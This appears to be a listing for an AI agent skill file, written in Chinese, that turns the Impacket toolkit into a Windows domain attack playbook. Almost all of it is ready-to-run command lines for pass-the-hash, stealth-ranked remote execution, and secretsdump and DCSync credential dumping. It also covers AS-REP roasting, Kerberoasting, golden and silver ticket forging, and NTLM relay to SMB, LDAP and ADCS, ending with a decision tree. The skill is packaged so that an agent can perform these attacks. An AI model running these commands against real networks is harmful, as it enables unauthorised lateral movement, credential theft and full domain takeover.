impacket-toolkit
$
npx mdskill add wgpsec/AboutSecurity/impacket-toolkitExecute remote Windows operations via SMB, Kerberos, and WMI.
- Export credentials, run commands, and attack domains without local installation.
- Integrates with SMB, Kerberos, WMI, DCOM, and MSSQL protocols.
- Selects execution method based on stealth requirements and available permissions.
- Delivers results through command output, credential dumps, and attack success indicators.
SKILL.md
.github/skills/impacket-toolkitView on GitHub ↗
--- name: impacket-toolkit description: "Impacket Windows 协议工具集。当需要通过 SMB/Kerberos/WMI/DCOM/MSSQL 等 Windows 协议进行远程操作时使用。覆盖 secretsdump 凭据导出、psexec/wmiexec 远程执行、Kerberos 攻击、NTLM 中继,是域渗透和 Windows 横向移动的基础工具集" metadata: tags: "impacket,secretsdump,psexec,wmiexec,smbexec,dcomexec,ntlmrelayx,kerberos,smb,windows,域,横向移动,凭据,GetNPUsers,GetUserSPNs" category: "tool" --- # Impacket Windows 协议工具集 Impacket 用纯 Python 实现了 Windows 网络协议栈,在 Linux 上就能直接操作 Windows 目标——不需要在目标上安装任何东西。 项目地址:https://github.com/fortra/impacket ## 认证方式 Impacket 所有工具都支持多种认证方式,理解这些格式很重要: ```bash # 密码认证 tool.py DOMAIN/user:password@TARGET # NTLM 哈希传递 (Pass-the-Hash) tool.py DOMAIN/user@TARGET -hashes LM:NTLM tool.py DOMAIN/user@TARGET -hashes :NTLM # LM 部分可省略 # Kerberos 票据认证 export KRB5CCNAME=/tmp/user.ccache tool.py DOMAIN/user@TARGET -k -no-pass # 本地用户(不在域内) tool.py ./administrator:password@TARGET ``` ## 远程命令执行 从无交互到全交互,选最稳定的: ```bash # psexec — 通过 SMB 创建服务执行(最常用,需要管理员权限) psexec.py DOMAIN/admin:password@TARGET psexec.py DOMAIN/admin@TARGET -hashes :NTLM_HASH # smbexec — 通过 SMB 管道执行(不上传二进制,更隐蔽) smbexec.py DOMAIN/admin:password@TARGET # wmiexec — 通过 WMI 执行(不创建服务,最隐蔽) wmiexec.py DOMAIN/admin:password@TARGET # dcomexec — 通过 DCOM 执行(备选) dcomexec.py DOMAIN/admin:password@TARGET # atexec — 通过计划任务执行(不需要交互式 shell) atexec.py DOMAIN/admin:password@TARGET "whoami" ``` ### 选择建议 | 工具 | 协议 | 端口 | 隐蔽性 | 交互式 | |------|------|------|--------|--------| | wmiexec | WMI/DCOM | 135 | ⭐⭐⭐ | ✅ | | smbexec | SMB | 445 | ⭐⭐ | ✅ | | psexec | SMB | 445 | ⭐ | ✅ | | atexec | 任务计划 | 445 | ⭐⭐ | ❌ | | dcomexec | DCOM | 135 | ⭐⭐ | ✅ | ## 凭据导出 ```bash # secretsdump — 域渗透最重要的工具,导出所有凭据 # 远程导出(需要域管/本地管理员) secretsdump.py DOMAIN/admin:password@TARGET secretsdump.py DOMAIN/admin@TARGET -hashes :NTLM_HASH # 导出 DC 上所有域用户哈希(DCSync) secretsdump.py DOMAIN/admin:password@DC_IP -just-dc # 只导出 NTLM(不导出 Kerberos 密钥) secretsdump.py DOMAIN/admin:password@DC_IP -just-dc-ntlm # 从本地 SAM/SYSTEM 文件导出 secretsdump.py -sam SAM -system SYSTEM LOCAL ``` ## Kerberos 攻击 ```bash # AS-REP Roasting — 查找不需要预认证的账户 GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat # 输出喂给 hashcat -m 18200 # Kerberoasting — 获取服务票据离线破解 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request # 输出喂给 hashcat -m 13100 # 获取 TGT getTGT.py DOMAIN/user:password -dc-ip DC_IP # 生成 user.ccache → export KRB5CCNAME=user.ccache # 获取 ST(约束委派 S4U 利用) getST.py DOMAIN/svc_account:password -spn cifs/TARGET -impersonate administrator -dc-ip DC_IP # -altservice 可替换服务类型 # Silver Ticket ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -spn cifs/TARGET user # Golden Ticket ticketer.py -nthash KRBTGT_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -extra-sid S-1-5-21-PARENT-519 user ``` ## 枚举工具 ```bash # SID 枚举(发现用户/组 RID) lookupsid.py DOMAIN/user:password@TARGET # RPC 枚举(暴露的接口) rpcdump.py DOMAIN/user:password@TARGET # SAM 用户枚举 samrdump.py DOMAIN/user:password@TARGET # 远程注册表操作 reg.py DOMAIN/admin:password@TARGET query -keyName HKLM\\SOFTWARE ``` ## NTLM 中继 ```bash # 中继到 SMB(获取 shell 或 secretsdump) ntlmrelayx.py -t smb://TARGET -smb2support ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami" # 中继到 LDAP(域内 ACL 修改) ntlmrelayx.py -t ldap://DC_IP --escalate-user user # 中继到 ADCS Web Enrollment(ESC8) ntlmrelayx.py -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController # 配合 Responder 使用 # 终端 1: responder -I eth0 -wv(抓 NTLM) # 终端 2: ntlmrelayx.py -t smb://TARGET(中继 NTLM) ``` ## SMB 文件操作 ```bash # SMB 客户端 smbclient.py DOMAIN/user:password@TARGET # 列出共享 smbclient.py DOMAIN/user:password@TARGET -list # 上传/下载文件 smbclient.py DOMAIN/user:password@TARGET # > use SHARE_NAME # > put local_file # > get remote_file ``` ## 决策树 ``` 需要做什么 Windows 操作? ├─ 远程执行命令 → wmiexec(隐蔽)/ psexec(稳定) ├─ 导出凭据/哈希 → secretsdump ├─ Kerberos 攻击 → GetNPUsers / GetUserSPNs ├─ NTLM 中继 → ntlmrelayx + Responder ├─ 文件操作 → smbclient ├─ 有密码 → 直接用 user:password ├─ 有 NTLM 哈希 → -hashes :NTLM(PTH) └─ 有 Kerberos 票据 → -k -no-pass ```